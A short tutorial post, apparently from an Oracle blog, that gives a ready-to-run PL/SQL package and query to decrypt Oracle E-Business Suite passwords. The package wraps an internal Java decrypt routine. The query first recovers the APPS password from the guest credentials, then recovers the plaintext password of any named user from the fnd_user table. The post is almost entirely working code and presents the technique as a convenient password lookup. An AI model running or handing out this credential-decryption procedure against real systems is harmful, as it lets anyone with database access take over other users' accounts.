How to Find Oracle APPs User's Password - Decrypt User Password

Here is one stop solution for haunting of your password search. To find password for specific user you have to just follow 2 simple steps as listed below :

Step-1 : Create a Package

--Package Specification
CREATE OR REPLACE PACKAGE xx_get_user_pwd
AS
  FUNCTION decrypt_pwd(
      KEY   IN VARCHAR2,
      VALUE IN VARCHAR2)
    RETURN VARCHAR2;
END xx_get_user_pwd;
/
--Package Body
CREATE OR REPLACE PACKAGE BODY xx_get_user_pwd
AS
  FUNCTION decrypt_pwd(
      KEY   IN VARCHAR2,
      VALUE IN VARCHAR2)
    RETURN VARCHAR2
  AS
    LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
  END xx_get_user_pwd;
/

Step-2 : Execute the below Query

--Query to Execute
SELECT usr.user_name,
  xx_get_user_pwd.decrypt_pwd (
  (SELECT
    (SELECT xx_get_user_pwd.decrypt_pwd (fnd_web_sec.get_guest_username_pwd, usertable.encrypted_foundation_password )
    FROM DUAL
    ) AS apps_password
  FROM fnd_user usertable
  WHERE usertable.user_name =
    (SELECT SUBSTR (fnd_web_sec.get_guest_username_pwd, 1, INSTR (fnd_web_sec.get_guest_username_pwd, '/' ) - 1 )
    FROM DUAL
    )
  ), usr.encrypted_user_password ) PASSWORD
FROM fnd_user usr
WHERE UPPER(usr.user_name) = UPPER('&USER_NAME');--Pass the User Name as Parameter
/

HAPPY LEARNING...!!!